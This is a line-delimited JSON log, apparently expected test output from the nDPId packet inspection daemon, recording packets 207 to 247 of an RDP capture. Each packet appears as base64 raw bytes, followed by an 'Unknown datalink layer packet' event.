+00406{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":207,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":489026,"pkt_caplen":87,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":87,"pkt_l4_len":0,"pkt":"AgAAAEUAAFMAAEAAQAbIpawQArnAqAKOzQ4NPfm89ypHmu5nUBggAP+JAAAXAwMAJuAIO32NJwt0zNWtI9GiGuQbMRjWM7NIR0AYBXDaQgv+4rlOkbck"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":207,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00407{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":208,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":497064,"pkt_caplen":87,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":87,"pkt_l4_len":0,"pkt":"AgAAAEUAAFMAAEAAQAbIpawQArnAqAKOzQ4NPfm891VHmu5nUBggALnBAAAXAwMAJuAIO32NJwt1GrYiC78vPceYE8TwDluOMx0D2CD\/fvitxa5knn0W"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":208,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00408{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":209,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":504928,"pkt_caplen":87,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":87,"pkt_l4_len":0,"pkt":"AgAAAEUAAFMAAEAAQAbIpawQArnAqAKOzQ4NPfm894BHmu5nUBggAPzeAAAXAwMAJuAIO32NJwt2rsLA8JGCeNzQL9ip\/mdEM+g3WuSO8Z3U\/4q9wO0F"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":209,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00408{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":210,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":512688,"pkt_caplen":87,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":87,"pkt_l4_len":0,"pkt":"AgAAAEUAAFMAAEAAQAbIpawQArnAqAKOzQ4NPfm896tHmu5nUBggAFgMAAAXAwMAJuAIO32NJwt3hl03pfQ\/SEWGR8aVRiZWjKEMe+MMs\/c3Ibwjjt0h"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":210,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00406{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":211,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":520563,"pkt_caplen":87,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":87,"pkt_l4_len":0,"pkt":"AgAAAEUAAFMAAEAAQAbIpawQArnAqAKOzQ4NPfm899ZHmu5nUBggAGOvAAAXAwMAJuAIO32NJwt4NdelT0f5Nbblz63SIxOvEBuoUu1zbJYlSgAIEdB8"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":211,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":212,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":524603,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChf6UAAfwYp58CoAo6sEAK5DT3NDkea7mf5vPcqUBD3YkU8AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":212,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00407{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":213,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":528479,"pkt_caplen":87,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":87,"pkt_l4_len":0,"pkt":"AgAAAEUAAFMAAEAAQAbIpawQArnAqAKOzQ4NPfm8+AFHmu5nUBggABA6AAAXAwMAJuAIO32NJwt5m4eRgNWHwCIJ\/qHEnENvQGlU8ymZDRa7E27ogCF1"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":213,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00408{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":214,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":536936,"pkt_caplen":87,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":87,"pkt_l4_len":0,"pkt":"AgAAAEUAAFMAAEAAQAbIpawQArnAqAKOzQ4NPfm8+CxHmu5nUBggAA0vAAAXAwMAJuAIO32NJwt6jJdIMDQijSYGBWnPJtd0tdOHaoLyNZ\/\/w18JfEUZ"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":214,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00406{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":215,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":545018,"pkt_caplen":87,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":87,"pkt_l4_len":0,"pkt":"AgAAAEUAAFMAAEAAQAbIpawQArnAqAKOzQ4NPfm8+FdHmu5nUBggAHYfAAAXAwMAJuAIO32NJwt77jHdOi2HMSqqO7BQNXjI3mQu91XezRpIQMKMOcOk"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":215,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00406{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":216,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":553066,"pkt_caplen":87,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":87,"pkt_l4_len":0,"pkt":"AgAAAEUAAFMAAEAAQAbIpawQArnAqAKOzQ4NPfm8+IJHmu5nUBggAHAXAAAXAwMAJuAIO32NJwt8lceaC22alQw9YP7dNvsHQsW74ni4so2eWTvRVX80"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":216,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00409{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":217,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":561061,"pkt_caplen":87,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":87,"pkt_l4_len":0,"pkt":"AgAAAEUAAFMAAEAAQAbIpawQArnAqAKOzQ4NPfm8+K1Hmu5nUBggAKxcAAAXAwMAJuAIO32NJwt9JCyFY0r\/+O+ww2nbIlA8+r\/A+x1voDnav\/mu4Zpm"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":217,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":218,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":565985,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChf6kAAfwYp5sCoAo6sEAK5DT3NDkea7mf5vPeAUBD3DEU8AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":218,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":219,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":566039,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChf60AAfwYp5cCoAo6sEAK5DT3NDkea7mf5vPfWUBD2tkU8AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":219,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00406{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":220,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":569131,"pkt_caplen":87,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":87,"pkt_l4_len":0,"pkt":"AgAAAEUAAFMAAEAAQAbIpawQArnAqAKOzQ4NPfm8+NhHmu5nUBggANyDAAAXAwMAJuAIO32NJwt+Bdi2z6XscG9o4biGD1YRKG0BuIiLxhVIVk70y1w1"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":220,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00410{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":221,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":577149,"pkt_caplen":87,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":87,"pkt_l4_len":0,"pkt":"AgAAAEUAAFMAAEAAQAbIpawQArnAqAKOzQ4NPfm8+QNHmu5nUBggAHJoAAAXAwMAJuAIO32NJwt\/3\/EMRTLYeNRSR0uvZxN5MDNEF6\/7l5lnSY+k246\/"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":221,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00406{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":222,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":584691,"pkt_caplen":87,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":87,"pkt_l4_len":0,"pkt":"AgAAAEUAAFMAAEAAQAbIpawQArnAqAKOzQ4NPfm8+S5Hmu5nUBggAA4IAAAXAwMAJuAIO32NJwuACZR4sTAvBZa6NjvXCik2XX3gg+2fvGSoKAe1NNaQ"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":222,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00407{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":223,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":592591,"pkt_caplen":87,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":87,"pkt_l4_len":0,"pkt":"AgAAAEUAAFMAAEAAQAbIpawQArnAqAKOzQ4NPfm8+VlHmu5nUBggAOp8AAAXAwMAJuAIO32NJwuBtt4n9PiratwV+YC1Rq5z2W8KPq\/WvyHAYouvMr03"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":223,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00407{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":224,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":600559,"pkt_caplen":87,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":87,"pkt_l4_len":0,"pkt":"AgAAAEUAAFMAAEAAQAbIpawQArnAqAKOzQ4NPfm8+YRHmu5nUBggAB06AAAXAwMAJuAIO32NJwuC4dW\/0Q9s1SDpwWt7J7FhfoFfRyHoyqYeLLKHlbA5"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":224,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":225,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":608397,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChf7EAAfwYp5MCoAo6sEAK5DT3NDkea7mf5vPgsUBD2YEU8AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":225,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":226,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":608420,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChf7UAAfwYp48CoAo6sEAK5DT3NDkea7mf5vPiCUBD2CkU8AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":226,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":227,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":608456,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChf7kAAfwYp4sCoAo6sEAK5DT3NDkea7mf5vPjYUBD1tEU8AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":227,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00406{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":228,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":608653,"pkt_caplen":87,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":87,"pkt_l4_len":0,"pkt":"AgAAAEUAAFMAAEAAQAbIpawQArnAqAKOzQ4NPfm8+a9Hmu5nUBggALerAAAXAwMAJuAIO32NJwuDe8s9YXaqjLwyREhVI0boEnPOQ96Y7RysmhSmOpPV"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":228,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00406{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":229,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":616685,"pkt_caplen":87,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":87,"pkt_l4_len":0,"pkt":"AgAAAEUAAFMAAEAAQAbIpawQArnAqAKOzQ4NPfm8+dpHmu5nUBggAHm8AAAXAwMAJuAIO32NJwuEV0GaaDSif0x4FFAfcEfPAlVZMI+pqNmlbqHUS07z"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":229,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00406{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":230,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":624494,"pkt_caplen":87,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":87,"pkt_l4_len":0,"pkt":"AgAAAEUAAFMAAEAAQAbIpawQArnAqAKOzQ4NPfm8+gVHmu5nUBggACC9AAAXAwMAJuAIO32NJwuF54AtRTdepENF1kP+L0zBia2U4dPNSDGmfGqmlwAa"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":230,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00406{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":231,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":632532,"pkt_caplen":87,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":87,"pkt_l4_len":0,"pkt":"AgAAAEUAAFMAAEAAQAbIpawQArnAqAKOzQ4NPfm8+jBHmu5nUBggAKGwAAAXAwMAJuAIO32NJwuGl980Zd8MVCxDH3OcBtCOnNTysFT3vTTP8uSsFGGP"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":231,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00408{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":232,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":640517,"pkt_caplen":87,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":87,"pkt_l4_len":0,"pkt":"AgAAAEUAAFMAAEAAQAbIpawQArnAqAKOzQ4NPfm8+ltHmu5nUBggAM8LAAAXAwMAJuAIO32NJwuH1lmpKrrn5\/dTvJeIGbAnRcMfvag\/ScC+kHWLkIxg"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":232,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00407{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":233,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":648647,"pkt_caplen":87,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":87,"pkt_l4_len":0,"pkt":"AgAAAEUAAFMAAEAAQAbIpawQArnAqAKOzQ4NPfm8+oZHmu5nUBggADuwAAAXAwMAJuAIO32NJwuIYiWK4Ifl2KesQrYhKYsy3x\/S3NYwS3rwvvwCLTL3"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":233,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":234,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":649644,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChf70AAfwYp4cCoAo6sEAK5DT3NDkea7mf5vPkuUBD1XkU8AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":234,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":235,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":649696,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChf8EAAfwYp4MCoAo6sEAK5DT3NDkea7mf5vPmEUBD1CEU8AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":235,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00408{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":236,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":656583,"pkt_caplen":87,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":87,"pkt_l4_len":0,"pkt":"AgAAAEUAAFMAAEAAQAbIpawQArnAqAKOzQ4NPfm8+rFHmu5nUBggAJvPAAAXAwMAJuAIO32NJwuJQErzOEOLwzoo\/8\/A0agxYfbsxxfgukwueVU4yorl"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":236,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00406{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":237,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":664868,"pkt_caplen":87,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":87,"pkt_l4_len":0,"pkt":"AgAAAEUAAFMAAEAAQAbIpawQArnAqAKOzQ4NPfm8+txHmu5nUBggADWWAAAXAwMAJuAIO32NJwuKP+vfSyBAk8eRS13G+zVZ5cpsJHDb5eEz1RSyTCGn"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":237,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00408{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":238,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":672948,"pkt_caplen":87,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":87,"pkt_l4_len":0,"pkt":"AgAAAEUAAFMAAEAAQAbIpawQArnAqAKOzQ4NPfm8+wdHmu5nUBggAHnaAAAXAwMAJuAIO32NJwuLNm\/02NtE+l6zL3nEZ7M\/DzurOCyYcD7MvU3erUFz"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":238,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00406{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":239,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":680921,"pkt_caplen":87,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":87,"pkt_l4_len":0,"pkt":"AgAAAEUAAFMAAEAAQAbIpawQArnAqAKOzQ4NPfm8+zJHmu5nUBggAPrhAAAXAwMAJuAIO32NJwuM7X7Rwq1+3a5H5vqR7+fWTXwRd5vLStqzwfAejf1c"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":239,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00409{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":240,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":688826,"pkt_caplen":87,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":87,"pkt_l4_len":0,"pkt":"AgAAAEUAAFMAAEAAQAbIpawQArnAqAKOzQ4NPfm8+11Hmu5nUBggAHPtAAAXAwMAJuAIO32NJwuNXIknf6v\/kxfhYX7zK56bNZu3O6X\/5oSxyHHPebX\/"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":240,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":241,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":690912,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChf8UAAfwYp38CoAo6sEAK5DT3NDkea7mf5vPnaUBD6AD\/uAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":241,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":242,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":690938,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChf8kAAfwYp3sCoAo6sEAK5DT3NDkea7mf5vPowUBD5qj\/uAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":242,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":243,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":690973,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChf80AAfwYp3cCoAo6sEAK5DT3NDkea7mf5vPqGUBD5VD\/uAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":243,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00406{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":244,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":696894,"pkt_caplen":87,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":87,"pkt_l4_len":0,"pkt":"AgAAAEUAAFMAAEAAQAbIpawQArnAqAKOzQ4NPfm8+4hHmu5nUBggAIltAAAXAwMAJuAIO32NJwuOUy2nBim+K2RtkbLebhMnrQZOvp0dQgODFD8tUrxJ"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":244,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00406{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":245,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":704502,"pkt_caplen":87,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":87,"pkt_l4_len":0,"pkt":"AgAAAEUAAFMAAEAAQAbIpawQArnAqAKOzQ4NPfm8+7NHmu5nUBggAE67AAAXAwMAJuAIO32NJwuPy6FWSubsfgXHf4BlQ+kJdp3iTa78lBAjYOcguNpA"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":245,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00406{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":246,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":712460,"pkt_caplen":87,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":87,"pkt_l4_len":0,"pkt":"AgAAAEUAAFMAAEAAQAbIpawQArnAqAKOzQ4NPfm8+95Hmu5nUBggAMLJAAAXAwMAJuAIO32NJwuQo2PDYZXq8024t15X3+rY6QRzZRgRMvX24iiGOZ3e"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":246,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00407{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":247,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":720631,"pkt_caplen":87,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":87,"pkt_l4_len":0,"pkt":"AgAAAEUAAFMAAEAAQAbIpawQArnAqAKOzQ4NPfm8\/AlHmu5nUBggAEvOAAAXAwMAJuAIO32NJwuRqFtUuFsXAajmjJay3xbLbeUsWPtV2SCuhhYMeD53"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":247,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} 